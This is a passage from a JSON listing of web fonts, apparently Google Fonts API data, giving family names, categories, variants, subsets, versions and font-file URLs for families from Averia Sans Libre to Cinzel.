    "italic": "http://fonts.gstatic.com/s/averiasanslibre/v4/COEzR_NPBSUOl3pFwPbPoCZU2HnUZT1xVKaIrHDioao.ttf",
    "700": "http://fonts.gstatic.com/s/averiasanslibre/v4/_9-jTfQjaBsWAF_yp5z-V8QwVOrz1y5GihpZmtKLhlI.ttf",
    "700italic": "http://fonts.gstatic.com/s/averiasanslibre/v4/o7BEIK-fG3Ykc5Rzteh88bXy1DXgmJcVtKjM5UWamMs.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Averia Serif Libre",
   "category": "display",
   "variants": [
    "300",
    "300italic",
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/averiaseriflibre/v5/yvITAdr5D1nlsdFswJAb8SmC4gFJ2PHmfdVKEd_5S9M.ttf",
    "300italic": "http://fonts.gstatic.com/s/averiaseriflibre/v5/YOLFXyye4sZt6AZk1QybCG2okl0bU63CauowU4iApig.ttf",
    "regular": "http://fonts.gstatic.com/s/averiaseriflibre/v5/fdtF30xa_Erw0zAzOoG4BZqY66i8AUyI16fGqw0iAew.ttf",
    "italic": "http://fonts.gstatic.com/s/averiaseriflibre/v5/o9qhvK9iT5iDWfyhQUe-6Ru_b0bTq5iipbJ9hhgHJ6U.ttf",
    "700": "http://fonts.gstatic.com/s/averiaseriflibre/v5/yvITAdr5D1nlsdFswJAb8Q50KV5TaOVolur4zV2iZsg.ttf",
    "700italic": "http://fonts.gstatic.com/s/averiaseriflibre/v5/YOLFXyye4sZt6AZk1QybCNxohRXP4tNDqG3X4Hqn21k.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bad Script",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin",
    "cyrillic"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/badscript/v5/cRyUs0nJ2eMQFHwBsZNRXfesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Balthazar",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/balthazar/v5/WgbaSIs6dJAGXJ0qbz2xlw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bangers",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bangers/v7/WAffdge5w99Xif-DLeqmcA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Basic",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/basic/v6/hNII2mS5Dxw5C0u_m3mXgA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Battambang",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/battambang/v9/MzrUfQLefYum5vVGM3EZVPesZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/battambang/v9/dezbRtMzfzAA99DmrCYRMgJKKGfqHaYFsRG-T3ceEVo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Baumans",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/baumans/v5/o0bFdPW1H5kd5saqqOcoVg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bayon",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bayon/v8/yTubusjTnpNRZwA4_50iVw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Belgrano",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/belgrano/v6/iq8DUa2s7g6WRCeMiFrmtQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Belleza",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/belleza/v4/wchA3BWJlVqvIcSeNZyXew.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "BenchNine",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/benchnine/v4/ah9xtUy9wLQ3qnWa2p-piS3USBnSvpkopQaUR-2r7iU.ttf",
    "regular": "http://fonts.gstatic.com/s/benchnine/v4/h3OAlYqU3aOeNkuXgH2Q2w.ttf",
    "700": "http://fonts.gstatic.com/s/benchnine/v4/qZpi6ZVZg3L2RL_xoBLxWS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bentham",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bentham/v6/5-Mo8Fe7yg5tzV0GlQIuzQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Berkshire Swash",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/berkshireswash/v4/4RZJjVRPjYnC2939hKCAimKfbtsIjCZP_edQljX9gR0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bevan",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bevan/v7/Rtg3zDsCeQiaJ_Qno22OJA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bigelow Rules",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bigelowrules/v4/FEJCPLwo07FS-6SK6Al50X8f0n03UdmQgF_CLvNR2vg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bigshot One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bigshotone/v6/wSyZjBNTWDQHnvWE2jt6j6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bilbo",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bilbo/v6/-ty-lPs5H7OIucWbnpFrkA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bilbo Swash Caps",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bilboswashcaps/v7/UB_-crLvhx-PwGKW1oosDmYeFSdnSpRYv5h9gpdlD1g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bitter",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bitter/v7/w_BNdJvVZDRmqy5aSfB2kQ.ttf",
    "italic": "http://fonts.gstatic.com/s/bitter/v7/TC0FZEVzXQIGgzmRfKPZbA.ttf",
    "700": "http://fonts.gstatic.com/s/bitter/v7/4dUtr_4BvHuoRU35suyOAg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Black Ops One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/blackopsone/v7/2XW-DmDsGbDLE372KrMW1Yjjx0o0jr6fNXxPgYh_a8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bokor",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bokor/v8/uAKdo0A85WW23Gs6mcbw7A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bonbon",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bonbon/v6/IW3u1yzG1knyW5oz0s9_6Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Boogaloo",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/boogaloo/v6/4Wu1tvFMoB80fSu8qLgQfQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bowlby One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bowlbyone/v7/eKpHjHfjoxM2bX36YNucefesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bowlby One SC",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bowlbyonesc/v8/8ZkeXftTuzKBtmxOYXoRedDkZCMxWJecxjvKm2f8MJw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Brawler",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/brawler/v6/3gfSw6imxQnQxweVITqUrg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bree Serif",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/breeserif/v5/5h9crBVIrvZqgf34FHcnEfesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bubblegum Sans",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bubblegumsans/v5/Y9iTUUNz6lbl6TrvV4iwsytnKWgpfO2iSkLzTz-AABg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Bubbler One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/bubblerone/v4/e8S0qevkZAFaBybtt_SU4qCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Buda",
   "category": "display",
   "variants": [
    "300"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/buda/v6/hLtAmNUmEMJH2yx7NGUjnA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Buenard",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/buenard/v6/NSpMPGKAUgrLrlstYVvIXQ.ttf",
    "700": "http://fonts.gstatic.com/s/buenard/v6/yUlGE115dGr7O9w9FlP3UvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Butcherman",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/butcherman/v7/bxiJmD567sPBVpJsT0XR0vesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Butterfly Kids",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/butterflykids/v4/J4NTF5M25htqeTffYImtlUZaDk62iwTBnbnvwSjZciA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cabin",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "500",
    "500italic",
    "600",
    "600italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cabin/v7/XeuAFYo2xAPHxZGBbQtHhA.ttf",
    "italic": "http://fonts.gstatic.com/s/cabin/v7/0tJ9k3DI5xC4GBgs1E_Jxw.ttf",
    "500": "http://fonts.gstatic.com/s/cabin/v7/HgsCQ-k3_Z_uQ86aFolNBg.ttf",
    "500italic": "http://fonts.gstatic.com/s/cabin/v7/50sjhrGE0njyO-7mGDhGP_esZW2xOQ-xsNqO47m55DA.ttf",
    "600": "http://fonts.gstatic.com/s/cabin/v7/eUDAvKhBtmTCkeVBsFk34A.ttf",
    "600italic": "http://fonts.gstatic.com/s/cabin/v7/sFQpQDBd3G2om0Nl5dD2CvesZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/cabin/v7/4EKhProuY1hq_WCAomq9Dg.ttf",
    "700italic": "http://fonts.gstatic.com/s/cabin/v7/K83QKi8MOKLEqj6bgZ7LrfesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cabin Condensed",
   "category": "sans-serif",
   "variants": [
    "regular",
    "500",
    "600",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cabincondensed/v7/B0txb0blf2N29WdYPJjMSiQPsWWoiv__AzYJ9Zzn9II.ttf",
    "500": "http://fonts.gstatic.com/s/cabincondensed/v7/Ez4zJbsGr2BgXcNUWBVgEARL_-ABKXdjsJSPT0lc2Bk.ttf",
    "600": "http://fonts.gstatic.com/s/cabincondensed/v7/Ez4zJbsGr2BgXcNUWBVgELS5sSASxc8z4EQTQj7DCAI.ttf",
    "700": "http://fonts.gstatic.com/s/cabincondensed/v7/Ez4zJbsGr2BgXcNUWBVgEMAWgzcA047xWLixhLCofl8.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cabin Sketch",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cabinsketch/v8/d9fijO34zQajqQvl3YHRCS3USBnSvpkopQaUR-2r7iU.ttf",
    "700": "http://fonts.gstatic.com/s/cabinsketch/v8/ki3SSN5HMOO0-IOLOj069ED2ttfZwueP-QU272T9-k4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Caesar Dressing",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/caesardressing/v5/2T_WzBgE2Xz3FsyJMq34T9gR43u4FvCuJwIfF5Zxl6Y.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cagliostro",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cagliostro/v5/i85oXbtdSatNEzss99bpj_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Calligraffitti",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/calligraffitti/v7/vLVN2Y-z65rVu1R7lWdvyDXz_orj3gX0_NzfmYulrko.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cambo",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cambo/v5/PnwpRuTdkYCf8qk4ajmNRA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Candal",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/candal/v6/x44dDW28zK7GR1gGDBmj9g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cantarell",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cantarell/v6/p5ydP_uWQ5lsFzcP_XVMEw.ttf",
    "italic": "http://fonts.gstatic.com/s/cantarell/v6/DTCLtOSqP-7dgM-V_xKUjqCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/cantarell/v6/Yir4ZDsCn4g1kWopdg-ehC3USBnSvpkopQaUR-2r7iU.ttf",
    "700italic": "http://fonts.gstatic.com/s/cantarell/v6/weehrwMeZBXb0QyrWnRwFXe1Pd76Vl7zRpE7NLJQ7XU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cantata One",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cantataone/v5/-a5FDvnBqaBMDaGgZYnEfqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cantora One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cantoraone/v5/oI-DS62RbHI8ZREjp73ehqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Capriola",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/capriola/v4/JxXPlkdzWwF9Cwelbvi9jA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cardo",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700"
   ],
   "subsets": [
    "greek-ext",
    "latin-ext",
    "latin",
    "greek"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cardo/v8/jbkF2_R0FKUEZTq5dwSknQ.ttf",
    "italic": "http://fonts.gstatic.com/s/cardo/v8/pcv4Np9tUkq0YREYUcEEJQ.ttf",
    "700": "http://fonts.gstatic.com/s/cardo/v8/lQN30weILimrKvp8rZhF1w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Carme",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/carme/v7/08E0NP1eRBEyFRUadmMfgA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Carrois Gothic",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/carroisgothic/v4/GCgb7bssGpwp7V5ynxmWy2x3d0cwUleGuRTmCYfCUaM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Carrois Gothic SC",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/carroisgothicsc/v4/bVp4nhwFIXU-r3LqUR8DSJTdPW1ioadGi2uRiKgJVCY.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Carter One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/carterone/v8/5X_LFvdbcB7OBG7hBgZ7fPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Caudex",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "greek-ext",
    "latin-ext",
    "latin",
    "greek"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/caudex/v6/PWEexiHLDmQbn2b1OPZWfg.ttf",
    "italic": "http://fonts.gstatic.com/s/caudex/v6/XjMZF6XCisvV3qapD4oJdw.ttf",
    "700": "http://fonts.gstatic.com/s/caudex/v6/PetCI4GyQ5Q3LiOzUu_mMg.ttf",
    "700italic": "http://fonts.gstatic.com/s/caudex/v6/yT8YeHLjaJvQXlUEYOA8gqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cedarville Cursive",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cedarvillecursive/v6/cuCe6HrkcqrWTWTUE7dw-41zwq9-z_Lf44CzRAA0d0Y.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ceviche One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cevicheone/v6/WOaXIMBD4VYMy39MsobJhKCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Changa One",
   "category": "display",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/changaone/v9/dr4qjce4W3kxFrZRkVD87fesZW2xOQ-xsNqO47m55DA.ttf",
    "italic": "http://fonts.gstatic.com/s/changaone/v9/wJVQlUs1lAZel-WdTo2U9y3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Chango",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/chango/v5/3W3AeMMtRTH08t5qLOjBmg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Chau Philomene One",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/chauphilomeneone/v4/KKc5egCL-a2fFVoOA2x6tBFi5dxgSTdxqnMJgWkBJcg.ttf",
    "italic": "http://fonts.gstatic.com/s/chauphilomeneone/v4/eJj1PY_iN4KiIuyOvtMHJP6uyLkxyiC4WcYA74sfquE.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Chela One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/chelaone/v4/h5O0dEnpnIq6jQnWxZybrA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Chelsea Market",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/chelseamarket/v4/qSdzwh2A4BbNemy78sJLfAAI1i8fIftCBXsBF2v9UMI.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Chenla",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/chenla/v9/aLNpdAUDq2MZbWz2U1a16g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cherry Cream Soda",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cherrycreamsoda/v6/OrD-AUnFcZeeKa6F_c0_WxOiHiuAPYA9ry3O1RG2XIU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cherry Swash",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cherryswash/v4/HqOk7C7J1TZ5i3L-ejF0vi3USBnSvpkopQaUR-2r7iU.ttf",
    "700": "http://fonts.gstatic.com/s/cherryswash/v4/-CfyMyQqfucZPQNB0nvYyED2ttfZwueP-QU272T9-k4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Chewy",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/chewy/v7/hcDN5cvQdIu6Bx4mg_TSyw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Chicle",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/chicle/v5/xg4q57Ut9ZmyFwLp51JLgg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Chivo",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "900",
    "900italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/chivo/v7/L88PEuzS9eRfHRZhAPhZyw.ttf",
    "italic": "http://fonts.gstatic.com/s/chivo/v7/Oe3-Q-a2kBzPnhHck_baMg.ttf",
    "900": "http://fonts.gstatic.com/s/chivo/v7/JAdkiWd46QCW4vOsj3dzTA.ttf",
    "900italic": "http://fonts.gstatic.com/s/chivo/v7/LoszYnE86q2wJEOjCigBQ_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Cinzel",
   "category": "serif",
   "variants": [
    "regular",
    "700",
    "900"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/cinzel/v4/GF7dy_Nc-a6EaHYSyGd-EA.ttf",
    "700": "http://fonts.gstatic.com/s/cinzel/v4/nYcFQ6_3pf_6YDrOFjBR8Q.ttf",
    "900": "http://fonts.gstatic.com/s/cinzel/v4/FTBj72ozM2cEOSxiVsRb3A.ttf"
   }
